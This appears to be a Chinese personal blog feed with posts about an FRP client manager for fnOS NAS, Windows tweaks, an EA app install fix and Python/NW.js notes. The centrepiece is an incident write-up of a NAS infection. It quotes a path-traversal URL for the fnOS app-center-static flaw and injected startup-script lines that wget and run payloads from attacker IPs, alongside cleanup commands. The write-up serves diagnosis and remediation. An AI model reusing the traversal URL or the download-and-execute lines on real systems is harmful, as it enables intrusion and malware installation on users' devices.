普通视图

发现新文章,点击刷新页面。
昨天以前ZhensJoke 飞云算

基于飞牛NAS(FnOS)开发的FRP客户端可视化管理工具

作者 ZhensJoke
2026年2月12日 22:34

前言

内网穿透是一个非常常见的需求。飞牛的frpc插件太过于简陋,对于小白来说体验十分不友好,我基于飞牛OS(FnOS)开发了一款FRP客户端可视化管理工具:frpC工具

下载地址

ZhensJokeFrpcWebGUI.fpk

打开飞牛应用中心,左下角手动安装,上传安装即可。

项目简介

frpC工具是一个运行在飞牛OS上的Web应用,提供了完整的frpc(FRP客户端)管理能力。用户无需接触命令行和配置文件,通过浏览器即可完成从安装frpc到配置代理规则、启停服务的全部操作。

项目采用了极简的技术选型:后端基于Node.js v22,使用内置模块实现,零外部依赖;前端采用原生HTML、CSS和JavaScript,无任何框架依赖。数据以JSON文件形式存储在应用目录下,整体轻量且易于维护。

核心功能

多服务器管理

支持同时管理多个FRP服务器连接。可以方便地添加、编辑和删除服务器配置,每个服务器的运行状态一目了然。对于常用的服务器,还可以标记为自动启动,应用启动时会自动建立连接。

代理规则可视化配置

支持TCP、UDP、HTTP、HTTPS四种代理类型的配置。通过表单界面填写本地地址、端口、远程端口或自定义域名等参数,工具会自动将配置转换为frpc所需的TOML格式,无需手动编写配置文件。

进程管理

可以在Web界面上一键启动或停止frpc进程,实时查看每个服务器连接的运行状态和进程信息。

实时日志查看

内置日志查看功能,支持自动刷新,方便排查连接问题和监控运行情况。每个服务器的日志独立记录,最近200行日志可随时查阅。

frpc版本管理

提供在线安装和离线安装两种方式。在线安装可直接从GitHub Releases下载指定版本的frpc二进制文件;如果网络环境受限,也支持手动下载后通过Web界面上传安装。同时具备版本检测功能,可以对比当前版本与最新版本。

与飞牛OS的集成

作为一个飞牛OS原生应用,frpC工具在系统集成方面做了充分的适配:

  • 通信方式:采用Unix Domain Socket与FnOS内置Web Server通信,不占用任何端口,避免端口冲突问题。
  • 访问方式:通过FnOS的CGI网关访问,内外网均可直接使用,无需额外配置端口映射。
  • 桌面集成:在FnOS桌面中以iframe方式嵌入,与系统体验保持一致。
  • 生命周期管理:完整支持安装、卸载、更新、配置各阶段的脚本,符合FnOS应用规范。

安全设计

会话基于飞牛NAS的Token管理,保障安全性。

界面体验

在用户体验方面,工具支持暗色和亮色两套主题,默认跟随系统偏好设置。界面采用响应式布局,在桌面端和移动端都能良好使用。

总结

frpC工具将FRP客户端的配置和管理过程完全可视化,降低了飞牛OS用户使用内网穿透的门槛。如果你也在使用飞牛OS并且有内网穿透需求,希望这个工具能对你有所帮助。


本项目仅供学习和个人使用。

用AI做了一个通过web管理frp客户端的工具

作者 ZhensJoke
2026年2月12日 16:29

前言

NAS用户都有内网穿透的需求,需要远程访问家里的 NAS 文件、SSH 管理服务器、或者给家里的web服务绑定域名,或者内网穿透3389端口进行远程连接。frp 是目前最流行的解决方案之一。

飞牛NAS (fnOS) 的官方应用中心虽然自带了 frpc 功能,但实际用下来很不方便——只能配置一台 frps 服务器(也可能是我菜不会配置多个),界面也比较粗糙,打开就显示配置文件。

所以就打算自己造一个,便有了 FNOS FRP 管理器 —— 一个自带 Web 管理界面的 frpc 配置工具,自动安装frpc,支持添加多个服务器,在浏览器里就能完成内网穿透的全部配置。其实不单限于飞牛NAS,几乎任何 Linux 设备都能用。

项目地址:https://github.com/ZhensJoke/fnos-frpc


它能做什么?

  • Web 图形界面管理 frpc,告别手写配置文件
  • 多服务器管理:同时连接多台 frps 服务器
  • 支持主流代理类型:TCP / UDP / HTTP / HTTPS
  • frpc 版本管理:在线一键安装/更新 frpc,也支持离线上传安装
  • 跨平台:支持 Linux x86_64 和 ARM64(飞牛NAS、群晖、树莓派、云服务器通通可以)
  • 零依赖:单个二进制文件,静态资源全部内嵌,放上去就能跑

安装方式

一键安装(推荐)

SSH 登录你的 NAS 或 Linux 服务器,一行命令搞定:

curl -fsSL https://raw.githubusercontent.com/ZhensJoke/fnos-frpc/main/install.sh | bash

脚本会自动检测系统架构(x86_64 / ARM64)、下载最新版本、创建系统服务并启动。整个过程大约 10 秒。

想换个端口?加个环境变量就行:
WEB_PORT=8080 curl -fsSL https://raw.githubusercontent.com/ZhensJoke/fnos-frpc/main/install.sh | bash

Docker 部署

如果你更习惯 Docker:

mkdir -p /vol1/docker/fnos-frpc && cd /vol1/docker/fnos-frpc

curl -fsSL https://raw.githubusercontent.com/ZhensJoke/fnos-frpc/main/docker-compose.yml -o docker-compose.yml

docker compose up -d

使用方法

第一步:打开管理界面

安装完成后,浏览器访问:

http://你的IP:7500

首次打开会提示设置管理密码。

第二步:安装 frpc

登录后系统会自动弹出 frpc 版本管理窗口。点击「在线安装 / 更新」即可从 GitHub 下载最新版 frpc。

如果你的设备无法访问 GitHub,也可以在 frp releases 页面手动下载对应架构的 frp_*_linux_*.tar.gz,然后拖拽到上传区域离线安装。

第三步:添加服务器 + 代理规则

点击左侧的 + 按钮添加你的 frps 服务器信息(地址、端口、Token),然后在服务器详情页添加代理规则。

常见场景举例:

场景类型本地端口远程端口/域名
SSH 远程访问TCP226022
NAS Web 界面HTTP5666nas.example.com
远程桌面TCP33893389

配置好之后,点「启动」就完成了。日志区域会实时显示连接状态,方便排查问题。


关于技术实现

整个项目比较轻量:

  • 后端:Go 语言,仅使用标准库,零外部依赖
  • 前端:原生 HTML / CSS / JS,无框架
  • 部署:静态资源通过 go:embed 内嵌到二进制文件中,单文件即完整应用
  • 架构:管理器本身只负责生成 frpc 配置文件并管理 frpc 进程的启停,不修改 frp 本身的任何行为

写在最后

这个项目最初是为了在飞牛NAS (fnOS)上使用的,后来发现其实任何 Linux 设备都可以用,所以现在也支持了 ARM64 和手动安装方式。

如果你觉得好用,欢迎去 GitHub 点个 ★ Star,也欢迎提 Issue 和 PR。

本项目包括本文几乎全部由AI完成。不得不说在需求明确的情况下指挥AI写代码还是非常爽的。

尤其是当前Google的Antigravity还能免费使用Claude Opus 4.6 顶级编码模型。

飞牛NAS(fnOS)严重安全漏洞(app-center-static)的分析及修复方式

作者 ZhensJoke
2026年1月31日 19:41

记录一次飞牛NAS (fnos) 中毒排查与修复全过程

摘要:记录了从发现网络异常、定位漏洞到清除恶意代码的完整过程。涉及大量异常请求、系统漏洞利用及恶意脚本的手动清理。

1月22日:初现端倪

发现网络经常断线,检查路由发现飞牛NAS(fnos)的请求数达到惊人的 20W+

  • 临时措施:在路由器端限制了NAS的连接数。
  • 跟进:在论坛发帖询问。当天晚间客服联系要求远程排查,因NAS不在身边暂时搁置。

1月23日:尝试升级

客服联系建议升级至 v1.1.15 版本。升级后观察,网络异常消停了几天。

1月24日:漏洞预警

论坛出现相关讨论帖,指出系统可能存在高危漏洞。

参考帖子飞牛NAS系统可能存在漏洞

漏洞原理
通过特定URL路径可直接遍历文件系统:
地址/app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../

1月25日:解除限制

观察情况稳定,解除了路由器的NAS连接数限制。

1月31日:病毒复发与深度查杀

情况复现,网络再次频繁断线。

  • 异常连接:发现同一IP 103.248.152.136 发起大量请求。
  • 尝试方案:参考 V2EX相关讨论 使用了一些专杀脚本,但治标不治本,重启后病毒依旧存在。

1. 溯源分析

检查系统文件,在 /usr/trim/bin/system_startup.sh 中发现了恶意代码注入:

# 查看启动脚本
cat /usr/trim/bin/system_startup.sh

文件内容分析
正常逻辑部分:

STATUS="/var/lib/dpkg/status"
BACKUP="/var/lib/dpkg/status.original"

if [ ! -f "$BACKUP" ]; then
    if [ -f "$STATUS" ]; then
        cp "$STATUS" "$BACKUP"
    fi
fi

if [ ! -f "$STATUS" ]; then
    if [ -f "$BACKUP" ]; then
        cp "$BACKUP" "$STATUS"
    fi
fi

注入的恶意代码部分

rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*

# 恶意下载并执行
wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
wget http://43.198.11.122/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp

# 因为地址无法访问了,获取不到具体恶意脚本内容

2. 清理与修复

首先执行社区提供的病毒专杀脚本:

Github Gist: 病毒专杀脚本

执行完脚本重启后,发现 /usr/lib/systemd/system/ 目录下仍有一些新创建的可疑文件。

待删除的恶意文件列表
总的建议是查看这些目录下的文件生成日期,22号之后都比较可疑。目前已知文件名如下

  • /sbin/gots
  • /usr/bin/dockers
  • /usr/trim/bin/wsdd2
  • /usr/bin/SazW
  • /usr/bin/nginx (注意区分系统自带nginx,确认是恶意文件再删)
  • /usr/lib/systemd/system/SazW.service
  • /usr/lib/systemd/system/nginx.service
  • /usr/lib/systemd/system/dockers.service
  • /usr/lib/systemd/system/trim_pap.service
  • /usr/lib/systemd/system/sync_server.service

彻底删除步骤
由于病毒通常会给文件加上 i 属性(不可修改),直接删除会失败。需要先解锁再删除。

# 1. 去除“不可修改”属性 (以 gots 为例,其他文件同理)
chattr -i /sbin/gots
# 建议批量解锁,例如: chattr -i /usr/bin/dockers /usr/trim/bin/wsdd2 ...

# 2. 强制删除
rm -f /sbin/gots

# 3. 检查是否删除成功
ls -l /sbin/gots

最后检查了系统的 Crontab 定时任务,暂未发现异常情况。

也可以试下这些命令,然后重启看看是否还有新的病毒文件生成。

# 1. 停止并禁用恶意服务 (防止进程占用导致无法删除)
# 注意:如果服务已经挂掉或不存在,报错可忽略
systemctl stop SazW nginx dockers trim_pap sync_server
systemctl disable SazW nginx dockers trim_pap sync_server

# 2. 批量解锁文件权限 (去除 immutable 属性)
chattr -i /sbin/gots \
          /usr/bin/dockers \
          /usr/trim/bin/wsdd2 \
          /usr/bin/SazW \
          /usr/bin/nginx \
          /usr/lib/systemd/system/SazW.service \
          /usr/lib/systemd/system/nginx.service \
          /usr/lib/systemd/system/dockers.service \
          /usr/lib/systemd/system/trim_pap.service \
          /usr/lib/systemd/system/sync_server.service

# 3. 强制删除恶意文件及服务配置
rm -rf /sbin/gots \
       /usr/bin/dockers \
       /usr/trim/bin/wsdd2 \
       /usr/bin/SazW \
       /usr/bin/nginx \
       /usr/lib/systemd/system/SazW.service \
       /usr/lib/systemd/system/nginx.service \
       /usr/lib/systemd/system/dockers.service \
       /usr/lib/systemd/system/trim_pap.service \
       /usr/lib/systemd/system/sync_server.service

# 4. 重载 systemd 守护进程 (让系统知道服务已被删除)
systemctl daemon-reload

# 5. 再次检查确认 (如果输出为空,则说明删除干净)
ls -l /sbin/gots /usr/bin/dockers /usr/trim/bin/wsdd2 /usr/bin/SazW

至此,可以重启看看是否还会有病毒文件生成。


最后说一句,关于这次事件飞牛官方人员的解释:

feiniu.jpg

1月31号大爆发了还这么说,也不提示用户进行更新,感觉不拿用户当回事。
图片出处
用户WDDXH提交的0day证据:

162152dx053okx1cztvv6l.jpg

可以看出使用官方的域名访问也是一样的情况

2月2日:官方发布查杀指南

参考链接:图片公告
文字教程:文字教程
官方修复脚本:

curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec

具体漏洞细节可以查看epcdiy:【用户文件随便看!我们分析了知名NAS漏洞前世今生-哔哩哔哩】

彻底解决 Win10 多屏锁屏登录后窗口混乱:PersistentWindows

作者 ZhensJoke
2026年1月22日 13:20

解决 Windows 10 多屏锁屏/休眠后窗口位置乱序:PersistentWindows

在 Win10 环境下使用多显示器(尤其是 DisplayPort 接口)时,系统锁屏或休眠会导致显示器信号暂时断开。唤醒后,原本整齐排列在副屏的 IDE、终端、数据库管理工具等窗口会全部挤到主屏,严重影响开发效率。

解决方案

PersistentWindows 是一个极轻量级的后台工具,专门用于捕获并自动恢复窗口的坐标、大小以及 Z-order(层级遮盖关系)。

核心特性

  • 全自动捕获: 实时监测窗口变动并保存快照,无需手动干预。
  • 精准复原: 监测到显示器重连时,瞬间将窗口送回原有位置。
  • 极低开销: 占用资源极低,绿色免安装。
  • 多配置支持: 适配不同显示器组合(如:办公室三屏 vs 居家双屏)。

快速开始

  1. 下载: 前往 GitHub Releases 下载最新版压缩包并解压。
  2. 运行: 启动 PersistentWindows.exe
  3. 自启: 右键托盘图标勾选 Start at Login
  4. 进阶: 若显示器唤醒较慢导致复位失败,可在设置中调大 Restore Delay

项目地址

GitHub: https://github.com/kangyu-california/PersistentWindows

使用Windows11的一些复古优化设置

作者 ZhensJoke
2025年11月6日 17:21

1、将右键菜单改为win10传统样式
2、去除快捷方式小箭头

::将右键菜单改为win10传统样式
reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve

::去除快捷方式小箭头
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons" /v 29 /d "%systemroot%\system32\imageres.dll,197" /t reg_sz /f

::重启explore.exe,重建图标缓存
taskkill /f /im explorer.exe
attrib -s -r -h "%userprofile%\AppData\Local\iconcache.db"
del "%userprofile%\AppData\Local\iconcache.db" /f /q
start explorer
pause

使用方法:
windows图标点右键,终端管理员,粘贴输入;
或者保存为1.bat文件,右键管理员运行;

EA游戏平台无法安装的解决办法

作者 ZhensJoke
2023年7月12日 11:07

EA app 遇到错误,无法完成安装(错误代码: 09-E292)
EA app INST-14-1612错误

图片_20230712110714.png

原文地址:https://answers.ea.com/t5/Bug-Reports-Technical-Issues/Can-t-install-reinstall-EA-Desktop/td-p/9805968

我是按照第四步完成的:

如果您的 Windows 用户名中包含特殊字符:
要么:
创建一个仅包含ASCII字符的新Windows 用户帐户。> 重新启动 > 登录新帐户 > 测试。

或者:同时​​按 Windows 键和“R”。在新窗口中键入或复制并粘贴“control”。(不带引号)> 按 ENTER 键。

选择“区域”>“管理工具”>“更改区域设置”>选中“ Beta:使用 Unicode UTF-8 获得全球语言支持”>单击“确定”重新启动>测试。

建议安装完成后恢复 Beta:使用 Unicode UTF-8 获得全球语言支持 这个设置,否则有些年代久远的应用可能乱码。

也可以直接用这个安装包试下看看:

EAapp-12.234.0.5491-2145.msi

不建议在小众代理商注册域名....

作者 ZhensJoke
2022年7月21日 13:00

本站域名fyun.org

血与泪的教训啊。。

转入www.sm 管理的(上游注册商是101domain),因为续费便宜几块钱。

但是自今年年初开始,网站便无法访问,导致bbt.tw续费失败。

fyun.org交涉至今才得到解决。

期间与ICANN 沟通无数次。 与101domain提交工单N次。

太难了。。

python 初体验

作者 ZhensJoke
2022年1月18日 18:19

因为某些不可描述的原因,需要一款连连看的辅助工具。(或者说外挂吧)
于是上github搜了一下,发现了一款比较通用的连连看工具,可惜是python做的。

https://github.com/TheThreeDog/Auto-Lianliankan

之前从没研究过python,这次试试看。

下载安装python:https://www.python.org/downloads/

之后在cmd中测试 py python 以及pip 是否正常,正常的话可以下一步。(安装的3.10的python,自带pip,但是需要注意环境变量的配置。)

安装此源码需要的扩展:

import matching
import cv2
import numpy as np
import win32api
import win32gui
import win32con
from PIL import ImageGrab
import time
from config import *

其中需要安装:
1、pywin32‑303‑cp310‑cp310‑win_amd64.whl
2、opencv_python-4.5.5-cp310-cp310-win_amd64.whl
3、numpy-1.21.5+vanilla-cp310-cp310-win_amd64.whl
4、Pillow-9.0.0-cp310-cp310-win_amd64.whl

下载地址:
https://www.lfd.uci.edu/~gohlke/pythonlibs/

我是用的笨方法,一个个下载下来之后,在命令提示符里边用pip install 包名 安装的。

wheel 包的命名格式为 包名 - 版本 - 编译标签 - python标签 - 系统标签.whl

安装之前可以用pip debug --verbose 命令查看系统支持的扩展包版本,对照版本下载。

之后就是修改config.py文件内的配置,

然后运行run.py即可。

NW.js与node.js初次尝试

作者 ZhensJoke
2022年1月9日 21:13

可能有点后知后觉。

最初需求是做个汉字的拼音、发音、笔画次序的程序

这样的:

后来要求打包exe,本地化运行。

于是稍微研究了一下node的读写文件,以及Electron和nw.js的打包网页为exe的脚本。

发觉自己看Electron有点不太爽,于是最终决定用了nw.js

有几个需求坑记录一下:

1、获取exe运行时候的参数

//使用node.js框架获取,可以在html页面内直接引用此JS文件
var gui = require('nw.gui');
console.log(gui.App.argv);
//

2、文件读写、INI配置文件

var fs = require('fs');
var ini = require('ini');
var config = ini.parse(fs.readFileSync(lujing,'UTF-8'));

ns.jw内置node.js及部分库,像ini这种没有内置的,就需要自己下载到打包页面的根目录,新建node_modules文件夹,把用到的库的文件夹放进去

config.Parameters.Text = zi;
fs.writeFileSync(lujing, ini.stringify(config));
//在stringify时也可以使用前缀{section: 'section'}

nodejs读写ini配置文件:https://github.com/npm/ini
https://stackoverflow.com/questions/47569638/link-to-reading-editing-and-saving-ini-files-in-node-js

❌
❌